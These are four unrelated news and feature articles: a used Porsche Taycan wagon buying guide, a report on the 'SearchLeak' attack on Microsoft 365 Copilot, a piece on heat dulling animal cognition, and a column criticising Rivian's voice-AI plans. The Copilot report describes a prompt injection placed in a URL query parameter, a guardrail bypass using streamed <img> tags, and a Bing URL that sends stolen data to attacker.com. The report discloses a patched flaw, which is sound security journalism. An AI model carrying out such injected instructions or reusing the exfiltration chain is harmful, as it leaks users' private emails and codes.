On Wednesday, Porsche announced that its Taycan electric sports sedan was getting the option of fake shifts. Maybe the Hyundai Ioniq 5 N had influence, but whatever the case may be, simulating an eight-speed gearbox adds an extra point of engagement on EVs. However, as Porsche giveth, Porsche taketh away. Starting with the 2027 model year, you’ll no longer be able to buy a new Taycan Sport Turismo or Cross Turismo wagon in America. It’s still on sale in Canada in 4S trim, and this generation’s already been homologated for U.S. roads, so it’s looking like a case of low take rates making the business case difficult.

While you won’t be able to buy one new, now’s a great time to take a look at these electric überwagons on the second-hand market. Thanks to the magic of depreciation, there are some solid deals to be had. Matt Farah of The Smoking Tire scored one as a daily driver and you can, too (potentially) for as cheap as a normal new midsize crossover.

What Are We Looking At?

To set the stage here, we need to go back more than a decade to the 2015 Frankfurt Motor Show, where Porsche pulled the wraps off a captivatingly sleek concept car called the Mission E. A low-slung electric sedan promising huge performance, it would serve as a preview for the marque’s first mass-produced electric car. However, Porsche wasn’t done yet. Three years later, it unveiled the Mission E Cross Turismo, a refined take on the first concept with the added bonus of a wagon body. Flash forward to 2019, and the Taycan turned out looking like a sedan version of the Mission E Cross Turismo. Strong pre-orders initially made it a hit, but everyone was wondering what the plan was with the wagon.

For 2022, our prayers were answered. The Porsche Taycan Cross Turismo was real, and it was amazing. Up to 670 horsepower with launch control active, a two-speed gearbox on the rear drive unit, zero-to-60 mph in as little as 2.7 seconds, and wagon practicality. The catch? A maximum range of just 215 miles, although early road tests reported that rating as being conservative. Still, if you wanted a properly quick wagon you could charge at home, the Taycan Cross Turismo and its de-clad Sport Turismo sibling were the kings of the hill, and they weren’t just straight-line wonders.

I’ve been lucky enough to spend time in several Taycans. The first one I drove completely recalibrated my expectations of fast electric vehicles. It had steering texture and feedback. It didn’t pitch over bumps like a fast Model S of the time, nor was it so stiff to cope with the weight that ride comfort was compromised. There’s a transparency to the way it approaches the limits of grip, and a playfulness once you exceed them. Porsche made a deeply satisfying car to drive, it just happened to be electric.

How Much Are We Talking?

Perhaps unsurprisingly, Porsche Taycan wagon pricing is all over the map. Part of this is due to the sheer number of variants that Porsche made, but part of it’s due to a major update for 2025. However, if you look at some of the early 469-horsepower Cross Turismo 4 models, they can be had for surprisingly reasonable coin. For instance, this 2022 Porsche Taycan 4 Cross Turismo shown above is up for sale in Chicago for just $53,915 and it looks like a solid example. Not only does it have a clean history report, it’s covered a mere 46,000 miles in the past four years and comes with loads of equipment. Metallic paint, optional wheels, a panoramic roof, the Sport Chrono package, the list goes on. Mind you, it is specced in the four-seater configuration, but it could be a bargain if that seating arrangement works for you.

Should you wish to step up to a 562-horsepower 4S Cross Turismo model, you’ll need to bring another $15,000 or so to the table. This green 2023 Taycan 4S Cross Turismo is up for sale in Texas for $67,960 and it’s simply outrageous. Look at the paint and the color-matched wheels! Even the interior inserts are a matching shade of green as a giant one-fingered salute to subtlety. If you dig the spec, this unit has 47,053 miles on the clock, but it has had a hit on its history report. Not the greatest of things, but it might be worth living with for the drool factor.

Stepping things up to around the $100,000 mark results in a whole lot of choice. You can have a 2025 Taycan 4 Cross Turismo with 536 horsepower and 277 miles of range, an early Turbo with 670 launch control horsepower, or perhaps the connoisseur’s choice: The Taycan Sport Turismo GTS. Not only does this variant ditch the cladding to become a true wagon, it cranks out 590 horsepower, can pull more than a g on the skidpad, and offers range comparable to the most efficient Taycan 4 Cross Turismo. This 2024 model with 26,757 miles on the clock and a clean history’s listed for sale in New Jersey for $99,880. Strong money, but equally strong desire.

What Can Go Wrong On A Taycan Cross Turismo?

As the Taycan was Porsche’s first electric car, it shouldn’t be surprising that it wasn’t perfect right out of the gate. Owners of early examples reported plenty of software issues, some of which were fixed with the hard reset procedure of holding both steering wheel scroll wheels for 10 seconds, but many of which required subsequent software updates to sort.

Fortunately, Porsche’s worked out the vast majority of kinks by now, which means things on the software front should be largely uneventful. That being said, Taycans are rather hard on 12-volt batteries, the normal sort you’d find in just about any other modern car that powers cabin electronics and stuff. If you plan on leaving a Taycan parked for more than two weeks, hooking up a smart battery tender is a good idea as 12-volt battery depletion can cause issues with functionality.

A bigger issue concerns battery issues on early models, as the Taycan Cross Turismo and Sport Turismo were subject to several recalls pertaining to battery pack sealing and module circuitry. If either of these recalls weren’t done, expect your new-to-you Cross Turismo to spend some time in the shop. Fortunately, recall fixes are free, so while repair would mean time out of service, you wouldn’t be on the hook for a new battery pack. Come to think of it, just about every Taycan Cross Turismo is low enough mileage to still be covered by the factory eight-year/100,000-mile high voltage battery warranty, and most dealers can put you up in a loaner car if you have a battery issue.

Otherwise, the Taycan Cross Turismo’s most common issues have to do with the HVAC system, but nothing wildly expensive. The air conditioning pressure sensor is a known failure point on 2022 models, but the part itself usually only costs around $150. Likewise, the servos that control blend door position may fail prematurely, but they’re covered by a special six-year extended warranty.

Should You Buy A Used Porsche Taycan Cross Turismo?

If you really love the Porsche Taycan Cross Turismo and can put up with some minor issues, most of which are covered under warranty or service campaigns, go for it. We probably aren’t going to see another electric wagon of this caliber for quite some time, and the pre-facelift Taycan 4 Cross Turismo examples are getting tantalizingly cheap for what you get. Realistically, it’s not like any other high-performance wagon of the past decade has a much better reliability outlook, so if quiet fun is more your style, a second-hand Taycan wagon could offer a few great years of enjoyment.

Top graphic image: Porsche

The post Porsche Just Killed The Beautiful Taycan Wagon. Let’s See How Cheap We Can Find A Used One appeared first on The Autopian.

Last Tuesday, Microsoft patched a vulnerability it rated as max critical in its M365 Copilot AI platform. On Monday, the researchers who discovered the vulnerability and reported it to Microsoft revealed how their proof-of-concept exploit could retrieve 2FA codes and other sensitive data from emails accessible to Copilot.

Microsoft and other LLM providers have been unable to prevent their products from complying with malicious requests to reveal data. The root cause: AI bots are unable to distinguish between instructions provided by users and those snuck into third-party content the models are summarizing, drafting responses to, or using to perform other actions on behalf of the user. With no way to secure this crucial boundary, Microsoft and its peers are left to erect complicated and ad hoc guardrails designed to rein in the consequences of this incurable gullibility.

Jumping over guardrails

One guardrail built into Copilot and most other LLMs prevents them from submitting web forms, sending emails, and taking similar actions that can be used to exfiltrate data from the user. To work around this, LLM hackers turned to markup language, which, among other things, allows users to add formatting elements such as headings, lists, and links to text without the need for HTML tags. Another workaround is to wrap sensitive data inside HTML tags such as <img> and <form>. In either case, a web request showing the data hits the attacker’s web server, where the secret information is captured in logs.

One Microsoft guardrail wraps Copilot output in <code> blocks so the browser treats it as straight text. Another is to restrict the sites Copilot is permitted to visit without explicit approval. While Copilot has blanket permission to send requests to Microsoft domains, guardrails restrict requests to untrusted sites.

Security firm Varonis devised an exploit chain that was able to catapult over these guardrails. The first element was what the researchers call a Parameter-to-Prompt Injection. The parameter in this case is the q in a URL, which is used to flag a query that has been included. The Parameter-to-Prompt Injection is a close relative of the prompt injection. The difference is that the malicious command is located in the query parameter, rather than in an email or other piece of untrusted content.

To bring about the Parameter-to-Prompt Injection an attacker sends the target an email that contains the URL with the syntax https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=. The field contains an instruction. Copilot readily complied.

“The search functionality is exactly what attackers need, because even with limited capabilities, a user with access to critical information is enough,” the researchers wrote Monday. “To exfiltrate the data, an attacker crafts a URL that tells Copilot to ‘Search the user's emails,’ extract the title, and embed it in an image URL." The victim doesn't type anything. They click a link, and Copilot does the rest.

Normally, the guardrail wrapping output in <code> blocks would kick in. But the researchers discovered that the protection fires only after the “thinking” phase. Prior to that, Copilot generated its response using raw HTML, which is temporarily rendered in the browser DOM.

The researchers wrote:

So, the sequence looks like this:

1. Copilot starts streaming its response, which includes an <img> tag
2. The browser sees the <img>, renders it, and fires off an HTTP request to the src URL
3. Copilot finishes generating. The guardrail wraps everything in <code>
4. Too late! The request already left.

The researchers now had an image request firing from the target’s browser. The problem, as noted earlier, is that Copilot won’t send image requests to most websites. To scale this guardrail, the exploit chain used Microsoft’s Bing search engine as a trampoline of sorts. Per the Copilot content security policy, Bing is among the sites permitted to send such requests. Bing would then send the request to the attacker-controlled domain that was included in the request. The request looked something like this:

https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/STOLEN_DATA/image.png

Varonis has named the attack SearchLeak.

“Since SearchLeak targets the Enterprise tier of Microsoft, the blast radius isn't limited to personal data—it's able to surface anything the user has access to inside the organization including emails, meeting invites and notes,” company researchers wrote. “SharePoint documents, OneDrive files, and other indexed business content. Depending on how M365 is connected to the environment, the blast radius could extend even wider.”

As noted, Microsoft fixed the vulnerabilities that SearchLeak exploited on Tuesday. With no known way to fix the underlying cause of such SNAFUs, however, attackers will inevitably find new ways to circumvent the newly constructed guardrails, and the process will repeat all over again.

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On a blazing hot day in South Africa, female southern pied babblers can’t think straight. The medium-sized black-and-white birds are trying to get at tasty mealworms behind a see-through barrier. On cooler days, the birds can quickly figure out that all they have to do is go around the small wall of plastic. But when the mercury goes up, the birds just keep stubbornly pecking at the barrier.

That experiment is part of a growing body of research showing that animals get their minds muddled during heat waves. When it’s hot outside, birds struggle to learn, dogs bite more often, goat-like chamois pick fights. This is bad news not just for those who get on Fido’s toasted nerves. If the animals can’t stay alert enough to find food or avoid predators, their chances of survival go downhill, says Amanda Ridley, a behavioral ecologist at the University of Western Australia who coauthored the pied babbler study.

With climate change making heat waves more common, such cognitive impairments across the animal kingdom could ripple through entire ecosystems, putting already fragile species at greater risk. If pollinators forget which flowers to visit, crops and wild plants may fail. If birds can’t find food as easily, their young may not survive. And on a warming planet, a sharp mind is particularly vital. “A changing climate means that your ability to behaviorally adapt is even more important,” Ridley says.

Hotheaded

There is plenty of evidence that animals are affected by heat. Birds, for example, spend less time looking for food and feeding their young; they even sing less. Instead, they’ll sit around for hours with wings spread to dissipate the heat, and pant with their beaks wide open. Some animals retreat to shade or hide in cool burrows—again, skipping meals. Bees, meanwhile, splash their faces with droplets of water midflight when the weather is sizzling. This way, “they get convective cooling for their brain,” says Emily Baird, a neuroscientist at Stockholm University.

Some of the first hints that hot temperatures can mess up minds, however, came from studies on humans. Back in the 1800s, Belgian astronomer Adolphe Quetelet noticed that violent crime in France peaked in the summer. Later studies linked high temperatures with gun violence, mental-health-related hospital admissions, suicide, and gambling. When it’s hot, people have trouble making decisions, and their memory suffers. For students at schools without air conditioning, a school year just one degree Fahrenheit hotter reduces test scores by 1 percent, a study found.

Increasingly, there’s evidence that other species may also be more aggressive when mercury shoots up. A 2023 study that combed through nearly 70,000 reports of dogs biting people across eight US cities, from Chicago to Baltimore, found that such incidents were more likely to happen on hot, sunny, and smoggy days. The risk was 10 percent higher on a 90° F day than on a 60° F day—and not only because people are more apt to venture out for walks when the sun is shining (the researchers controlled for seasonal effects in their data).

Still, the scientists were unable to determine whether dogs get more aggressive as it gets hot, or if cranky humans provoke more attacks. “It’s likely that both humans and dogs get stressed and more irate at higher temperatures,” said Clas Linnman, a neuroscientist at the University of Miami and a coauthor on the study.

And it’s not only dogs: A 2025 study out of China showed that many animals, including snakes and cats, are more inclined to bite people when it gets hot.

Animals also seem to lose their cool with each other, especially if there is food involved. Scientists used binoculars and spotting scopes to spy on wild goat-like chamois that feed on protein-rich plants on the slopes of the Italian Apennine Mountains. More than 1,600 hours of observations over two summers revealed that when temperatures rose from 54° to 64° F, vegetation grew scarcer, and chamois aggression in turn shot up. The animals became territorial over patches of food, they assumed threatening postures, chased each other—attacks that, at times, escalated. The study authors predict that chamois aggression will go up 50 percent by 2080 due to climate change.

The small tropical fish called a golden julie also gets confrontational in the heat. Ordinarily, when a golden julie is placed in front of a mirror, it sees its reflected image as a stranger and shows some hostility, raising its fin, for example. But if the normally 78° water is raised to a hot 84°, the fish is more likely to get aggressive, and may bite and slap its tail against the mirror, as it tries to scare or attack the reflected image.

Cognitive problems

Heat waves can also hamper the ability of animals to learn, as Ridley and her colleagues observed with the southern pied babblers. In one of their experiments, the birds were presented with a simple wooden block with two holes drilled in it, each covered with a lid. If the bird pecked at the lid, it would rotate, revealing either an empty hole or a tasty mealworm (the babblers, Ridley says, “are highly motivated by mealworms”). One lid was dark, and the other a lighter shade of the same color. During heat waves, the birds needed twice as many trials to learn that the mealworm was always hidden under the lid of the same shade.

A wild pied babbler investigates a contraption that holds a tasty mealworm beneath one of two lids. The birds can learn to associate a lid of a particular color shade with the mealworm treat, but when it’s very hot, it takes the birds much longer to do so. Credit: Royal Society Open Science

Another group of scientists tested zebra finches, pretty Australian songbirds, and discovered that if temperatures are high, they too have cognitive problems. When figuring out how to get a mealworm out of a see-through tube with an opening at one end, they would just keep pecking on the tube, says study coauthor Elizabeth Derryberry, an evolutionary biologist at the University of Tennessee, Knoxville. It’s the bird equivalent of “banging your head against a brick wall,” she says.

Adding to the tally, several years ago researchers showed that when the heat is on, mice have trouble finding their way around a maze and forget objects they’ve seen the day before. More recently, researchers found that male guppies, popular aquarium fish, also have trouble getting through a maze after spending several days in heat-wave-like 90° water, even if the prize for getting it right is a virgin female—which they tend to find particularly attractive.

For animals such as fish and insects that can’t control their body temperature, heat waves could be particularly detrimental. “Changes in air temperature will affect brain temperature,” says Baird. A hotter brain could hinder the functioning of nerves, and that, she says, “might affect sensing, memory, and learning.”

Cross section shows band of cells in the mouse hippocampus. Credit: RAUNAK BASU / UNIVERSITY OF UTAH, SALT LAKE CITY

When Baird and colleagues tried to teach bumblebees to associate sweet sucrose with the color blue and bitter quinine with yellow, most of the bumblebees learned the trick at 77°, but fewer than half managed to do so at 90°. Such impaired cognition could spell trouble in the field: If the insects forget which flowers they should pollinate (in the case of bumblebees, these include tomatoes and blueberries) or how to get back home with nectar, not only will the pollinators suffer, but human agriculture too, Baird says.

Heat appears to dangerously diminish animal vigilance as well. In Ridley’s recent experiments, once mercury in the Kalahari Desert reached 96° F, pied babblers lost their ability to properly respond to predators. In their studies, researchers lured birds toward a mystery shape covered in a sandy-colored blanket, using worms as bait. Once a babbler approached, the scientists would reveal what was hidden underneath: either a taxidermied cat-like carnivore called a genet, or a similarly sized and colored wooden box. The birds got scared of the genet in cooler temperatures—they’d call out, scan their surroundings, or simply flee. But once it got hot, they behaved similarly whether they were facing the carnivore or the box. Ridley suggests that this could translate into higher chances of fatal predator attacks as heat rises, which could harm populations of babblers and other prey species.

These studies are not just abstractions. In the Kalahari, where southern pied babblers use their wits to search for worms, temperatures are rising twice as fast as the global average. In tropical rivers, where male guppies seek mates, heat waves are growing longer and more intense. It’s the same story across much of the planet—temperatures climb, and animal thinking becomes strained, potentially putting species at risk. The effects may be magnified in certain areas such as cities, which often exhibit even warmer temperatures than non-urban areas. If anything, Ridley says, “We are probably underestimating the impacts of increased heat on animal minds.”

This story originally appeared on Knowable Magazine. 

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Who are these people who want to talk to their car to make it do everything? Who are they, where are they, and what the hell is their problem? And, perhaps more importantly, why is one of these woefully misguided people in charge of Rivian’s software and human-machine experience? And why are they so eager to deeply integrate AI “agentic” bullshit into cars?

I’m asking these questions because of an interview done on The Verge’s podcast Decoder that featured Wassym Bensaid, Rivian’s Chief Software Officer, the same man who once said that physical buttons for car controls are an “anomaly.” Oy. I can already tell I’m going to be cranky about all of this. Bensaid also has stated that “I think the car is actually a fantastic environment for AI,” and that “The final north star I have is having voice [controls] become the primary means of interaction with the vehicle.” So, it’s pretty clear where Bensaid stands: he wants a car without physical buttons, and an AI that you talk to controlling everything.

To me, such a car sounds like a technological triumph that I would be more than happy to roll off a cliff.

It’s also worth remembering that Rivian is one of those companies that makes you control where your HVAC vents are blowing by swiping at a touch screen with a little picture of a dashboard on it, inches from the actual dashboard vents. You know, like how an idiot would choose to control where air blows.

But let’s get back to this AI agent business that Bensaid is so hot on. This is part of why Rivian is so against integrating Apple CarPlay or Android Auto into their cars, even though so many people seem to want that, with many buyers considering it a requirement for any new car they may buy. From Rivian’s point of view, phone mirroring systems like CarPlay or Android Auto are bad because, according to Bensaid,

“The challenge with screen mirroring solutions is that they take over every single pixel in the car, and that’s not the way we see ourselves interacting with our users.”

… which is just a PR-massaged way of saying they don’t want to give up their screen real estate to a company they don’t control. Instead, Rivian –like a number of other automakers – would much rather you only use their own in-house UX for your interactions with the car, and in Rivian’s case, it looks like this will soon become far more voice-focused. As Bensaid says in the podcast,

“I think we are on the cusp of something really big. When you think about it, you’re in a car, you’re driving, you’re focused on the road. So, in theory, the primary interface with which you should be interacting with the car is actually voice. The only reason that drivers and consumers do not interact with the car through voice is that, to put it really bluntly, the technology has been broken. That’s really the beauty of what we have now with the technology disruption coming with foundational models.”

See, I’d have to disagree here. Even if you’re focused on the road, that doesn’t mean voice should be the “primary interface” with which you should be interacting with your car. Driving is a physical task; the primary interface is, and has always been, and should always be physical. Steering, braking, using muscle memory to move your hand to controls automatically – a good interface between a human and car means the car becomes almost a prosthetic. You don’t need that extra whole layer of cognition to put your desired actions into words at all.

Bensaid doesn’t seem to get this concept at all, and I think makes my argument for me when he describes a voice-controlled trunk-opening process:

“On top of that, we now have the opportunity with all the agentic framework to truly give people their time back in the car. I hope you tried our Google Calendar agentic integration. You can imagine how the experience will be in the future where you’re driving and can perform operations on your calendar. You should be able to perform operations on your email. In the future with the agent-to-agent integration, you can actually interact with many more apps from your own digital ecosystem.”

Calendar integration? “Perform operations on your email?” Why the fuck would you want your car to be part of that? That’s already what your damn phone is for? And these “agent-to-agent” integrations, that just means that some AI bullshit built into your car is talking to the AI bullshit built into your phone so in the end, what is the AI agent in your car doing other than passing along messages to the phone that’s right fucking there with you and if they just let you have the damn Android Auto or CarPlay you could talk right to it? Or just talk to it as it sits on the seat next to you? What’s the point of all this?

You car doesn’t need to uselessly duplicate all the features of your phone. It’s the wrong tool for that job. Your phone is a good personal assistant tool because it’s the size and shape of a well-worn bar of soap and you can slide it in your pocket, not a 4,000 pound hunk of metal and plastic with wheels. Nobody wants their phone to sprout spindly wheels to you can drive it to work, just as we don’t need to use our cars to answer fucking emails.

Here he is again talking about the car replicating phone jobs:

 

(top images: YouTube/The Verge, Rivian)

The post Rivian’s Head Of Software Thinks CarPlay And Android Auto Will Be Replaced With AI Agents You Talk To And I Think That’s Stupid appeared first on The Autopian.